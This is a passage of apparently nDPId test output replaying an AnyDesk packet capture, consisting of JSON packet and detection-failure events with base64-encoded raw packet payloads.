cdbdA+Uv8jGutkJRSyY31D5vltKMtzpEiRgnXCVrkMqMvKgdoakvLUt8VgiTsy9Am+5\/8RgZ4HSQJOW5O0pRqZmS2thydOMdT\/KAd7OoNXfonbpxBgSaMCpaKIdVf3H6TFXtiHy8vgeInquUgBuVAR5vH7h\/9i+fDmpzE1vUFTBhCfATICYp6H97n5yJ0Td9ZRFR9VfkSIN+xRyXsZ31pwP2WsulUHQx9d9iEcbFKQ8JKOohOCGat5FITVZfr5fpk7V+huRAe4PGlQ0E8axZ\/4yWsVir7ssksNF6nKL+sCWrV4ncqm\/H\/wgSutlNMxelj37OA5kjQaGeDaFq7wV94cEuzqjDKqEuC9CgKIOjK\/D4pbxKEOd83oqDyqRVigXdNLZq9m91BL0AP7ig22ziQsu4D0o4lv8EM2qGbVNz1cFLMpz10absHrN6fDS1TozhNVK7CIz6Q5gOfZT044F0MBRWzEibsCfkESUVXzMZcbONSjRwJo57KKGz\/MYtfMPzGkcaYGEeda+0IGfoe0QnUT8oDx7sum59KZHiSNmsIuqEv5oex9UahbitN9spAD+QapzuKSdgJ+emWg+Eo3O6mIbPorxZkTOq909rFJw4OxnNj6hrJSa6pvZFXNEQSUa4ubQTax8FMuiPoDV0HCHbkZCl253liAxxg9VDu8kPFeasBxHLz+iyKFOSgoY+liD9udce5idFhnpiPywisJaIYxzRLfGY9+k+t7Jcx1Doc3G5hNv8wqCGEE1Q76WzJck7hfwBY8o+0Yvg0VkfFfi5MhvS1UCdTTZpQHtDHvbSaonoizAbC9dIx5LwILDlR9G\/TDcj6oMpmqsz9Su2sKHS3AS64jWCgHo3i6vkNv1\/6BqqSz+XcLfrOZZ3yByep4gaFGc1NVju\/ozKO7lMfBD6CR49WVuXEcxFjPjpEVgtG2oTseRE+7HIkdfF9rXiORhz8LyRBs9C0y92XQLc9iOoPDyffFNez5gfxZAgoep03K7o1N5p2qAuvmMm0YtI1tiab1lODGm0zAFZvrRUFJsF9WRZCgOu3HfMnapRmdcuGPcdXWR73N1BcqMpA7VVG1exe++HTRQe9ifhapviNBARdLaedxkxpXHykTTVtcnrj+RZvQMoVtpRnjyAltPWvsL39mAK3QkSL1WrUrc57mQv3\/M5arx7za6gTXbli5BFfe7QbIOHdgcK78J+Zyo\/YlWNsjP+v+DBEz\/mFaOr45g5CbX3c8UbeGCg36iBc8XndkF+mW\/4tN7WFLs+eTeKL8MhRoLric3gyPXwc59s04ciTaley9\/54pZt+eAm1MsMPcIbDl+2\/ClgrPm81pYT9u\/bOSbBTgVU5Hp3HLT\/v\/ySpu4vSO+EwdgzzWtntCYeBqQII8kGFEUUS0dc3eigCp4snU+WvjCeogcif8LehiWTVLpOMxKSRGtVCiCaNk\/MW7WpTcIqxvPPGfONr+wz+sCKbGZd18aHl9sDr+vv06mPtYuXeY7qXnhrtlOiQcOOj44yvbAcSA3VHIVFoPh7IN7dOy5QbJ37w+KXVh1BrIe8rJ2tXRd1SwTFnKig5JkBRtFbQMnD1fKzcqmBarxqzSmho2dADzEXrMtO2i9gsetr8ofM\/mcYltFG30kTnh8KAfjop+dpQa8WKQaT45LAPMvzFRqGUxOqLv7ryh1b+iaSZAH98UbkU+WOCExIT0I0vQtE43\/czz5KqErX0eLY2X3dcXU+MFjGBiB32yT0CUp\/QdgH2tdsR2EjNZFez7L2GkaRD6TETooIqup9BwA\/C4084Das3qhPMEHHRrdcBSAS7cfLMbRhQNA5\/aANNLoVW1sMWoRBTJb3d2i1o6cOOUM3XFjJILoc2oZhpVqslX1n15D+bET8zvmPyZUrOv7bG7fDbAqfZgvMscl7Q6Y1OZY4dy8lV1CnKnO6cuq1gGA\/tNmaJYBlSf\/YOxkaOvG7TEc4wiwhGsU5JVfXvenKupgyrgus4bdEpPwscir2b0RF1jbcuhEIKAvw+CPPirSD19gDo83gvF2V6ncgGCHdDGPCRF9rhOTf3Hj+Yq8fdoEPI97lAzWXa2ajm2kKwCdhLSJcUneCL4kzMpb6k4VR0hgrFJDGSkb+ZQfafUz2JGqqg0znrdgH+i\/RmeDLgWaIq3npxvo07tGtAUNvNZMMu3Xae3e+BiXU1tJ4vXRXU466ee8eaDtwbwOUIU9V3PIghNyPqDJ50+MZH+R30p5\/tYYjQ2XhfDBeR7KwJ3fsg9GQ0E0YQ1T6ZMXcsT6R+lsV5ss+Ivw76CZpld3ARyf3phW5LMY+fMRZ7PjRUMBRlyYH\/6mY+o9zNYjkknetiKfuQvlIoFOZ1qHShi1mDRF\/XmFcmcvEIAnmueSHI86REAFOr4Pw3qVVFL+xCTKB74pEaeTjVCs9nXJ9XB4QxjnAXPFu897LZk+d3y0GQ9N1rzPPAWCvBGhAPInl3Q9XR4mxEk3Aoceufocorutk8fkeT9cAQOfXg9Ea+\/qRik4R00\/Vyh4nC\/QE0zsxvkmuQaqWV6UyjmRACMQJTJgkNrgDqMHJnUd+zF7NM+XfYrrjLmUGF\/H9fnokKF5JGNLm7LZJUhEu0wx8C8vkiaE3xzn22PmGDjR+blic9kMcaRmCx96EQzGzdkKtH1kc0NSLsYhdGCNcIil\/fetUgd11AlvT71KyTIshNzoYOQNA3cpzebNSMJ7JANAoPEXf0IISbAVx1aL5Hl5k3YVkjLxYjnkLrpjZrh8MOfpD184\/lzoUvtzNBB43Ct+0mc1h76N1ilwhNvoFPW6aa2IBUGJLK1ykYnNWAoq93ERiAs15+YkxmXDtWMMcCC2chweJJRmi+3BdaiiFF5aCVbDXqmsO6RybUVkk+IFObUhZOI5wUdTIAATQ8zRvie3NMr2Mg1Ql6PKpQapzUJKlmBXoAQc\/F6zPpKiIDg\/B4P5HOZiRHxNj\/e3z4wrX7\/wALDkPJKZdNW\/5KvpEhl0NjoPuZTcnkUL96IIXDg2Y2TFTghMnTQIDHWglW2CKHNqStDyQeaOeOcqxd5pMwvN+OU3ddl6b2PXbQlTRIur4Zau6tKS2EkXG\/tczzvTWy6lVJzTHo0KvXMHLEIy\/bHSaI5RdC40Iux0k2bzXXq448uygMxlPU2o8PSfco7zdIP4OLf1Ty7fE\/jGeObWLvhtN6X6S20dDd7fdjkmbUVxhWH9tLusU5bUSpE5uwViMfb7aSrKfV963yrOWQFByL6wqjx7oXYkQas\/4MH9tChkyiewr3b8I\/0PAxAbj3TuFOZ0GLJmqQzre+u\/OyeZ0H\/+kOQop+1t6Q+x3JJdXx5kuHmUKdNKn30tuqbzIjeAC8BStjW9XfatIYTiyN8zIPh3EZzH4Sx6OG8Qse\/a7u35kKxUGsUb6eL17cuwnW54Vb2ruOk\/mk7SNN5hcAnixQxbhST2tcBBxtedj2+njWOmBIIcroUQdqIpPlA98XWKW\/2SKJTASknY5oR7lnYXf9E0StUOi1v4CojbM7YMznePAAStLe0gZeWrMroN9FvibZC+qBTO42sMXTZnODhHs1\/3KWeHFkmF0XrfxJl+CrCkWCn\/UX09Yd3pKMEGaTweaA6RQ0M0NVnr7M2JrCOZZVHCfmsdzSARqvhX9ATcuVPgGfjK+xG1FHaaLqpTJL9D+W3O6\/qyAFOM3Tip8eRxTjV3UgEr8WH1G3GmbzqtSh9bd+YLKQkmHEp7O4LcoacrJW5257EtPN+pDE4B072zRpUrJJM\/O7UCVrYoRg\/5A6uuIoW1rBuy\/wza9nn23u6xubUV\/iwfTJ9trMKxNT\/zGPcL5xksyiL9sF7tabOw7wvwGzF8kOjyOPd75amYRkSYi5tiQbZZYKR9dpWiJWHZ\/hVhpafK1TNIYZczV8NgAmh0BVDbDUl9bWcFvOTG4fSZz+abeoOtIudMq8+8bXbwdYaN6Kg\/dOB+3y2tlF+9gW0QkrADOsRYmbQItPCNFFSgGXgcmhLikql\/vPZJ5xM\/wWJpZcNSZjWEHLLi6j8bBcvkOauqXbY0PrlgU8eNhe3hbeaKIS+1u8RylLcW3jkCpTt2kcICcCe\/\/o9pBMlnidYWpYgnVXIDOc9w0G1j6MMbChbOs6wbXOT69WOWankrNBXo0HPsc76qIR8OvQ9kOLhVmXXzKzk9IYyEeLUcvjs6WbopSELYn+jtZMy94K3vWW2dfpKcqP\/OvcuFqILZ98UD0FeUN1y\/vIly6v7ekT8zo6SV+rk9uL\/oty3gyUkieY6w9Sd6cV9\/VKn6ZL2Ndkcd\/+GtrSlA+kdBwiantYFa6fHaXkBbFJ5xfR1fXIJvqwIj\/QtbVI5jMlV0t7hJq77cClEtQMXh2FQ8La1QXc\/yducoBc7iE82WSliPUhzh\/T1sGcxhA1vMHwREuHCfNMEr0VhQHnY+1e+r7DYgC3Gl0Q5saBXCMTk4vDKD+sKw6yeplnOIBoPezHymSgvbq3kWbn86yHhfFayGTT6fk8dUpT3lh2t1Np5J9IZnW8kgsD2SNNz1CYt0dE5VSZu0OVQZAyqPorOCzrMh6Uu3pCtm3p+RK7pfi0wHKt3Dh\/egax+vVB8HFd8N6feNm45VrQ6DGKhFIKAEH6T5hTcKuC6nqe0EKujCPjotuiKW\/nxEs1FNhr5tFYXz1Tv5A7JY3Gg+yuftsfsP4kqE5UBDwm2vpzPy\/H4LmBSw+tp9cuaPAoB+wv1RiumMWWBQpwlZuvrvlx2HAu+oCjleH0r1YB1dk9FVDSSt\/9XkF6n3oaUPzzilQI9zjMX3lq5Q+sr6l2GKq4Q9HXcxSmAzq7ZFNMufGDse2amTxKalne8z4EA0Z\/Dw44mg2m8n+kt+Lpi10rf1rQVLmJ\/kHW+aWWOq\/Qdqfx\/oyCqN+EiGA2OApg83QHcqzTr9x8I59OetEG0AYt\/KdPI6630kSJy3IDSSh2bi4amnKbLbhsdjTOBckUeSfA3hbUYw0EJ1z4vsXvaZZ5UzG5GeBRdJOGJvK9AzpJm3BOIrZeiBABV7ukRA8ENS682ke3ESQcV5q\/rM+SDruD+mOgidkSsft1ZkAwzn9ss\/UXgrL7D3jzyX3oxW8xXm1\/zBCq6pHcZXhPUTWQnFrVP1I1Eic\/NYh6\/XPzSXA8ksJlfyqM\/i992FGmwi6PwANK66MqtX+xBVpfNlAoyz4m1dEBf57UQtOTdV8WZqTift9MR1BarKZSndllvSqV4jcuPnRqL0aU1OZ5ZyTPBzils20hhyr7jvhuEnrQDNMTdTlRTch31e2bfBeYOQhmr2C6QVbcif1mPJws+ZlvUECnkB6xYVfV3LVUkFUJDruRm0PqnxxCFsfcjHRE+7oT5DSL4X9tN8wqmL0VW3G9hl0v793Ek7WiCYXPWqJPv9kTiCgNQUCOzoLzo046JXHsCfITrKodhkDUIboMSRrNs6VYbnPJC4J4TGu1\/Vk2zVLj2ShnpnG+hdGQU1fFfiWRe49ZdlrAgZjS5m1xXPsXP2hpx4gAQM4HyawzXbxyGrzKv1TGF\/klrttvu0rwZpakraV3d6Zu10EzhXZNgPQcLX9ssPfTj74yZFOYjXf8RRegu0AYdQ\/pwMQUsFahzN52q5xW4DUw+qN+7Byl+wjxt1bBy\/Pz+bTvGtrB9GDuDaRKNAX3zM018XPioqUZV4mFU3GZBvZ9VdLmWNVjYsdhEq0pZ7R8gbwD9N3pYIVPHhAtdfYAZ5O5hgQoxVsHoWvu5KKQHAFa9D0DWPYff9zvk\/F\/rT7RUr+Y22mah+A7+OM5UeEvAx38XYoffpZ6vVUjN2Ym6dSZKjs5G+P+Op\/D1dHUpFTO8P0VSDKlIOl8Q1oIShFwaoKtio6aEIQZDbspYPjuKJWZ7HO+iX80PxqKrrPBm0detDVar5l0L4L51vS5BkaPYrkk4LngLEvYqbfKyCiNOZrJah+BWhpuDRjxWXORXUBwkAWMlTpRINoEe3aX\/wmUidKGei9uuoRdTLrx1jph3OHoPvTp0Cl3xWeOujltKDkNllYg6z51ILJxWU71OTgIuOu0AQ0tKdOyIk7h1xjbKNJXkTfT20HZGA357MPt8FJyjcufAhg7slBpOjZyY5OiFvgPidpGU60mRbLHxXKuTN9x2+YyTo7YyGzv1HiKKaTCzhf0mIZFv1UYuZmQXXsRMpiWmaUgSVdCFH7YhhTgOnXbPekIw\/Dcw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1650,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +03167{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1660,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":792228,"pkt_caplen":2117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2117,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgQdAAIAGAADAqAG7wKgBstOUG56PKp5VWcQ7fFAYIBOExAAAFwMDCApZ4hNO+msWYnfbeY0paHVmSKpZ+uwT\/a1kSZoWtr\/57NTfa3dOYt9guqtlYWz61lOzTz1EcFQ5dxJ88mCBGcw\/ks8SnO1veUjqeuNyhUjiPPFupGvdODf4lkIaJRMpKsGHOHFTdOHMpCgXZw+HSgQlJlA80tohQhxgeyezlIDgxvjq4ixc7AoK3T3Zi8OJCasKn6Djub69nNpmTJTsAUytMScvEDciJUohiBMNAFUufKL\/XJ6lo5GurjLisidCDWJns+BwQTWVGfkVTMrzg2feIkcgsVrX8+llRDQjYwP0q\/YXjW56k\/HLH9zBFC0L0tJz1CDjwL7Fm0hhqJWRRDDYUZ\/8FkqCGTEXcT8tcPlcmQbqtprqSSQaeI8zBqPO4b\/dxUsbuJbFNqFswVS3q7ZKIydguDTHcjMo4d7lH5wScz+pKxawcNAtFfX9WZ6JySw2UdlGaIdRjsWBq9MvMb5A9HhxfN9JRy2CmTXNyrjQbamFI8S+wVdYQWQmBZMK+MmE27iNgfZjSkjU9feT8TIubgHpkmxQ2Dt1gTlrPlR63ibtollVLmYv8re\/7Ve9C8jA3siKqtvh9W2C40t6kAsxb4HhiJdOw4LWGqYq+HGSuCKNLFfzCVqh+XukHZ+MYGHCBO2sUC9w8Qaje22mXSD3lalOwjR4F2CZoTljwHww5aHZ02pw2f5VVv81\/Yt2E9gNMJgJYSccXYgWxb+2HmO1AsMs2X+rfsMSiauANm9xb0KCJvJbt\/oWUoNwj9oucJXxLVfY\/AhcPXeakKVg8PWZy8UfREH2d5AWZG8wlqAa5Kfp3+J8plzXEE9yOGnAZBwe6nCUCU+5DMa0hROd8Lb7T7flCOxua6jiNmr8oJMVEuqXiOWVlSF6+BmDXpveExWcRo3A4dMayvicG3iEzZihtwr8+vWPQCq+dcXxhQafH6jpWzlcEx36CkJfQwSAqvkZdlv\/PH4FbcSSaKnPRupNNQPf0JqMbijfhvyiEblwJ10skutjfwCae0LhEz85\/c8YFl11xVinxa3xBGVl+8SJsQoJV47BDhteo\/e9euG+s4ricQk2mZr5DKGKI3FdY5jA8NAvMrpXuUddNL9VBeHrLb7TOY8lHeHN2njT7zs6DQU\/C2Dl3YYNDR5lS4v0nE0vLPl8azJYaCJQve8fB3U8SauWgwqdT57fW43VEwrQQbbw6BDIL8Znx4cQtMLCSJ\/5DPT\/DaDHlb2XaHNO97gqrq7eQMHaZdGjf0DlLauj03lgFfUu9b+V9tDc99nPiO\/EbFPyqimrODxWg1bTdpj2EuD1JBtI4P87QSe31pJIFfNwo6AmjUa3KK3\/CMQQXhx91pB9Y3tdW4ppMl5sctmf2h\/ACcttpccQKz8IGntWE2csEMwZc9mT4yEdaqY3m847cmbTkiaXo1k7NEUX6ZkOhpLeEoVpni6EsE4zhPwurygt5Ozq+v1SySjobRkRQQvAq+5tbdmTk\/wk0GUMnoz077HhNzOgifQZ0XumQl2xutk5zZA1cEfU7ujZ6DHJpXZpm7mEsyIJyHJsvggyakWciISVJvTRp1UbgqPbVII3Deip736jYbA2P4m9F\/QXK5zXN9voaU6QH2OAgfZY47QA1wBg85CiZs6npNwjnXjSM+4SYs556gKDVJNQxXNXWjUBFlKg9av++tGmAJXuZB0UHGMQztba6jX6p\/tmxo4fGq0L2Fyf+FUuIth89sJiDqlEZU6pA98Kk6lvsDYkB9myIK9BuAz+XyHwRyg268tRm4JIHB53IFLEovYL207MBK7WiWg2pla1otS4\/r39vh58BRWYNoVAlpI9nHp3J7BKq9NTDdETtzovoHhfTmU77O2+JdlchPUieto6bCMLkznO5V+GPk1MczKfwzay\/yicpa3y4ccaXxoCyRsc8U20dgWZ6Ax9gtreo6GNUefAEhg5LxeqzAA8IVjr+eIHa6NZASKNi9+CbBQXF+37cP1EPEZaSAHroBOy+Orz6rfU2jiHkH8UwgCGxNHLLYPqYt3w3cT\/\/CX0soNhwkICIso8dh5MLKsiice8dWv6tKw\/MQToFmSwxOCvkUUiTDmqQ4bHRaW2LOTPiRNt30Tvw1rsWNZ7IW5yhc\/ZwN+ZLMHARfkS+PDNMIHIZ46sctft67AAutOtiCFhS\/1yrjVVssg1fl64fNEC+sRV23cJ3G02amZipTPGztcBGjXhKb01PKdb9whcjPQR1b2etExesvclxURvuSJkMkxI5oCSEMxCpgVXcHIQBjuCjIMt8w07mZ2k13epL0hAeNQc+jIegZVgY8RYuPgneYwZcRQRvwe6B7hRvs1o0wA8YRaAOPCi2RG8zaG7AEOGRojwvPy5n7t5bocv\/mjC6XuWCiclGC1FwBcBtKKbQ0tvJ1S4NBw2j3mGe2SCsqXYLggmUhh2PHsrOXlPjvVQuFSQaRPatwi8apyApC82MqIjF8Ui9MHpS2K4yuf00CJibpmtyob0IkG2UHWCyyoI4qL6uin1Vi6XI9DEJaDMkkyCbuccRAQIyziQ3ibPElPliYBKxea1RV6xJDp6LIBVRupt0ipCzn2LHkEyxHNf48pwT3HFDWPu4Im0UjYjczyhKGj21ykmegn2GgXn3e1iVLLzcXHdIqPFlN1wRn4SNWPXbnY9SNwH8hcQIxr\/OUDOfdqT+Kh\/ANIU\/0k22gOE+WMV8yUM8Ax1P+HAc2\/TXoiUJ8pxQ7cPzW8Q\/Vv\/BZhIiKaKuK0="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1660,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2083} +07834{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1662,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":793524,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgQlAAIAGAADAqAG7wKgBstOUG56PKqZkWcQ7fFAYIBOExAAAFwMDFXlZ4hNO+msWY8BbAvYnVMqWwf05hzmNETZe6dXBV2rBkIF2HLL6Jpy1FzPQhoQ50nIZwEzIAqGC0ozBnQIxGhyiIrlyZ2XqmEIFmaCst2h2ohWhs5Rr5fttQbyNXwsFUdZyzhMMFylSc2N7J\/3DjZq2FtjkYtlUOC16uWTuul+6HgI4LvhiiRKmaKH0FxjyJe1pXqX1OD\/QEAYflGY0mzNyLzI64Mhhaw0nIPVogfoOTAG4FZOu6viHMmwMqA+F1NluVb1f+EkO\/ZoAaA1WOpvV5mxChX+xlxW8P8KyZT4mWaobz6qcbhUHjXWabyu2FVxzBbqYeWRaG\/zhXswep6fVQOFOXLzIVCn8l2mGq\/spGry3c03qI7FdKiHxwDRpRkuz\/PQI\/PC95sD81y+5Zj96\/PFFIQGks2JRxCynVDfNG7GdQ5QOU4ePWb+VQO8LWhML7c9l0vQG40FL4Z2On040qB+Psk0fT7oEeO3gdJax+js9K3M8ZatRTWKmnTqvcnUg8cZ4w2m\/8\/f7PJTeOHxv0NX9CAnx7YfNQVAv7CToEypcPFLmOiQdndB1mZvzJoYwJFaF\/lmpbxRupr3YrgRb6DAzMqnNJQ\/aptccbuDehkbCkxVpPdsppiq+yACN+hNziMKFKneis8w+LaVA6+yFOmsaTiPu3Kd\/vlfpSLnaPm\/vodmMnK3Pe92SHlvuHDGQFrkzWZrD7GHba+e6dvNFguXn6F7C7I1\/pK5tBaXj5UY0CJnNuYP1UV6xVUyWIRS1kMTrl8uXzEUXloUHQ2USFBN702CDCVfd9fKisguCl\/1J7Fn9S4PtuX73QI9O7z6CLUI+VKqOPSa1wjYqdCtRQOdSxPwHspRR5pl7W495+c4GY8ekFwcTz8sd5tM8BxMhYh4x+WpWiM0y4D2W6GmJEKOLyHuwW1XnTKBztj9oEFS2YHUgEiOlgx413dtO4CRrfC3MxbfGW\/wOA8qsO+8GRQuVyKTnlH9JtpV\/ekUswDVMC6g3s\/EXnZY\/nMVdfcdMzMbJi6CH2f1tqO8sHXuThUQHDv0OEH3m8xY9a4Y3ajYkzBpx963y4+tt2lI3DvW8LpKUavUpPFoffEwgT2KRxS4kfraN5YJUCIWNjvydNAqCjpX8LXFIihEpGc2OHarw12XBDK9hgxfKH6h8QNN3LYPTp+BtDzugxWMfh21ZVT1+j5SiOgSHxZmZMLWSW9H1NlXBznBoEREcUR03btsw3ppV6ojYP1\/v82FddE5A8709uZypdI4\/Z\/i5AqOmwz0vI\/FTsDfG2IVv\/7V+eKdrv0+HKX3r3zO2N6YGy0W5NU5iO3XYS9zOJMC\/QHxHRua8Vqjk0ecmPGQoI5c5d6QqQekCqp0aMKeL2enu0lWu5UQXBsTvA+GHiZPvC2qal9KeQYANA5OQD2FEOW1S5hreMiAUhsnYDC+foDHXM3oAeTWkM\/b+k4+PLhIKJXBE+A0m9BSXaxFbSTainaE0wNBhDuDIvB5Ps8nRoRFBtM6lqikCs7m8q2tP5BfnBSQGIzxTeeJne8Prd5jnfXrpLSnpmMz3FY8fuI7uSXnQ8NS\/NNs3hrQcHsYsjnVarvEaasLn3Bu4i5LbUH4OmWhGu736cG+I823VUofTMYRYzoXg4mNbmBCnwDZ5TjHPIrYbX1EQrAxnJFyqo\/9nm8WQeElsDdbFs2cPLpT53cOyUYgutVGvcakElKFx+aS8xCWRuF6Wn\/cwhd+JygCWRyjEbdk2EcS3\/ilQK1jeANa5pAWPVogXTFVZZLyAslrs8ArHUIoAbw7e21NhQNe5Kf1hpslkFB4Bc5orfcF5jyAvVXC0kv9acMDHo1Jv2TJnm4CJEx+3EpCGNfX7qsBvW7H60lytWjGkx5k7uDENluIZ\/dtZ5Ofw30zJUwapdR\/e1Q3rziMHnM9wIMaaHpBgLBOowTJNs3YnW8lnWBrBKCOopLupJGP3y1wsu2IVtsUINWRH+d5GnQIjaWDVl43US0dIyDwfXS0PqK4s5RGUyozxACJpyT+WWWxxTCzujxwDUCQrrAgoQm\/2ZsIQlFA8TGurRTM04\/1Vm\/oxfQ\/0uY6H5gzfNvgLsa6DuHc6NtBBLqkcP00LE9aacYX+uU2\/G\/WFOOrri3jYWtW+3LG7zgJ3nMkIVdG8N\/lq0oIX8ue9LjEPJKB2HVdczdgpv4ZkVMgk\/MXy6mQwBUOkmZuw4NUVsEH9lnBn3o88VOjoXSse\/WupRsUB8mJ3tuqA7DOd2C0ufwv5Nn+h81y5wsdpaxcOhEpWnFNO2djIrzcctNvy6MYkSgVBbwLCg1xtIjMjecd5TOfvOcSBQTrgIMhUd6K0iDW3CRC4he0rD3n1NwN3UDqPbIJrTzfkV69xwMcOhu5nXgDaUZQftoRmKyCU0tyTC6ZwUxdHCebMSwFSDXzJAAWb77Gll9BxkeCF4iwZIeLq7TARD85ANHJ5oQA1rlMVpfslGeLrvwQuptwQUtMDUTI3vk2vzwDSIt3mCcfPgyopHon7P9HOEeCNpEBEbBQf8czUKj41auJJcak\/9sEyr3\/eMWJlBqj+RnUtwBnBJj1Ng1gYCH25pbstZr2obQsmaDfl4\/i0lLfpVPo90vMF0zSb2Qj9LVAVTqca4Xmexf8if+MwLlWGsWE0fcdovpstML\/PFt5GtezzcNEqyCKbUn1ZOpqWfd1IEVRAV+VeRi+M4SbZGKXhWUHSJCwxjPfqnpnhXlRnlbqLFTbwotWk37QCnR+rFUaxdFDt1lhJjuWm661K6A\/7ZXHbWe2ZMd5MajUTQ9cgtZ6jAPN4khdTd7B\/r1bXy7Pf9dpeS8jO+DJ4SsAY3ltotlFf4v40MGeG1FXRv+CEyzYbJEwOqptTcKH0UyG4pSxjILy8Fu1VGIJEUvH2h6ZMN2qNjsPctSzrpOMEgXXso+xKYSfTWLaBDdANR75HeKxzInMFHWXjgR16sUCOivpg72VXwpbFxwsolgChmOB+o+mxzyZlnmCCf88S7yNye3c+LC5\/DFFs3CiI64zI0AEBassWpHyPBz3UzOghtu2FtNXF9WMND4PksoaBl4z1gHvSWA8ZuFlthZLYHm4FPbSlwhLJ0e95pJCqe6yg8+8LE00yqllEpH9fiSVosScdPYGH1ubCfmIc+2BfUYrtDvOEc\/BgehE6jMBJKMrGMD7JZA\/5cS68\/xgLxI1hUTZPOVDuozDsEpcHjq2zfZ5Zt9kKllwJggnhGkRuAfjaMuv+sevfzSjVBbVCghsG4vJ8ldJB\/256za3aeUPZfENNBkNsxHZqNfGH1MSgv0gd73rBa7v0DF5QrEOn9gRzT1Br+nfT50FeVCWjgO1y6scKtK15CwNkCnR2CDEg6xf8nhroeMS4W4FbNtBfedE9TvCVkIgHjvuHyu1A\/seccfe5aC3TqkNpNlnsazMu5gmBaDs+O8qmblaEMPJS1+YyD6zwkHKG2JaUeIA\/X3T4Msd\/1iu8R3zTiWnPwY87hqIR14FEW3tpFnB8ilJFX06zY27vOMzpjzzNIKb72zBPOBhgE0PdQPz3xRyL7nIjZcmX8wys1elwNdT8fXQXqRG+iWXSxVP5XFQyKPBbaE8GRF3HwyIG8o7zbRncCWRjOCp7ZUdc5HGixjdXaJ9Ft\/QRUca9CI8DFdZ4Bb\/oW9FGQbvGPv3mBmSRLkpyHELs4Z+PusES0bvwZmv4wXe63OTWyScyGikrBga3Y\/thn7tbUw\/7Qr6PMwY+uyoztXcbeWnJMQDab9bmeH0b4FK752xnpB0wR4\/RJpmi7OplIqWxvOaCxoEjKmx8d2UuQxJ4kic3hoEg1GhKrnGkNfS6p8mvGVLr2NcmkWqLgS7zQBT8WhaodoqOpZtmV3xtmTWHC+wR32AGH4wLFfQNL4k1IEYo1XSTs7kFLuu47NiPC+s6h5MzftliJkV4wh\/96iB0VGebJKD7S72jdfGZv1zF59\/RnBS7iFk6xmoDxpMXak0TH7FQ\/ZtNtzPrGqdAu4K\/gwlNSsHK+NZTl0IFHLdLEh+S1WKBZVMCq9ixi0CFrXF5JrJcgPUcdRTBYC4YnVb+w2masuXmN0nPfw2rYQegeXkRHKeX4QrXCAvlCycAhvZIWr55y8jxC\/AcBTwkpRFfLTMI41oHQeKaAYlb2StqcaDDszVW+WcObyKujibifbPFAlFYFhWkbZU1tMlkkY6YTYyd8FJ8UKaO0bn3WUmeb726SRRs81IW\/L30oDsf5eDTAd4qC8rmJ2XVoBlm2tXqYZhUlyytRFI6LkxxgvEhFu0xxzBILyhbZ5T07X+rIs1Oed+uon9Y4xLZCqY1UnP4K1XCDb+yK\/TtaSsKuJddiOAVqNJpVELvuUyVFCECDxIYG9PHCpbU8Q5LDKRngI089xfY8RmSSN42pQVQydITpnvydMkzhpTopFtcoNTm6xzKMSYqRZ9dmvv+9\/hfNlwK9bygNlVnyEOO9eEuRSXsnFCv3zPSsobP6dxWDoj+Yk5S4HyzZX01amYIHUnDMW9VlM9MySaRchM36b4OMOj4mmRQQSxn7f99Nz0BJ5KTpEGBWNxsKawEOME0V2roB\/9sAXPEFh8O8HOjncTzcFOjVjRtaxY7dCEe+CfO893frlLWCARzAHeqptyU9DloSVC2A3sGSuJTOBCwxYhb4VBMMVtszDUExri1naIGi9RLRKe2\/TU6kbMYkQOXLwQc9QdOkm6kFOEQyPq39BOIUi914Y9Vc6+U3SNyCDrJ7vBS9JfVZhKBES8zJYZdhIfn0xeGtMIYHlxIyv\/NGjl7myha6lU0qHZCXkdCdgAHx1E4sIJrhCKXg0aiQP1C0FeO2Aj\/fIj+CzQDM45s\/u13IFdJ7BxMLp9vErpemSH\/hEcaAJLGCtBWp6PqBU1Upiu\/3hElZPcFlPdVNNdf82HpAmiecRal0T2\/R5g8\/I\/xjNH+vRxgtxXsG241evt7icxcmHk857wpuzNfJjUawEiVdIkSt8UCnwNeHYaHG+U4vuVCZaqQQmlLkFAOt41NyHFOBslGyuDK9cxYvNbkV6jDR7lw2uUoV7ULj0oJ5umiuQ15PTXIAumVb6OdfJj6zLi0ppJZ1iaycwRvc2grZWLIKWS6MqUEamn4XOU125lwoKyE87aNqnwViCERIrff\/QsVIHMQJRll\/Qwkmy77Aci+7bmqeg0iVMV7uBdgcHA5R0d9bZt\/dCdPn2r4aJ41qBsXBey0TMvjRBzgPySJdRpddCUsjJEMSLFsRKyJd2O6HYKPUFEmU0QxlbNie72c3\/92WmuWKEO2oh3wpO2SwqVlSSKaaioj9RtOVntXP+A\/jZHJ4clfak4rs3jB9LIGA8QIfEMHoOs+VFzRr92TqwepmT6KlcELsvQrgRx4ds5XTSvWMY8ZLRZvTgxPwL2KRvltWmbvVtkyqKkDhHQ6cI0NRMDimh41bZkFoB+uqjw2EhrSq5lHIvHkUS+yap8fa4oKhuAzyWiQJrFAC875qp9TyT+h+dv+F4TbD3W0JPzDr48gmaDdKFkbn4t4CozncRDsDTWBaJQiqny4sgo8ktU7FljSbtoXd6jv5k2gJxNfE+pls5fw3OmIPoCxaytfCLgyw\/oreiV+prfcCQTd0ZpWFvnPoNh7cdIzUThhWMEyduSeqn08LWwWO8cDaJw63J2KaM78xTwu\/mIIZ5artgLvBXU3Ia0dlWfUr0SHZvz4YNdq9VdAv0+hlaAFqigmLXDQndCztl1eVxv5pQR4XGd0gWVH5iupLMaWvmjECOLqKLuSUQnzWuBN\/RrGZnRuHfv\/CN1nDdXxkLO6NpHt5MYnhIFHADiPXY1K5crn2DWcN6z1kuu3es+SwD04eN\/uziwBryW3O3qg\/7Fy3l1+wEbBP1uvDdz\/BQuhT9LQO9X9\/3D6P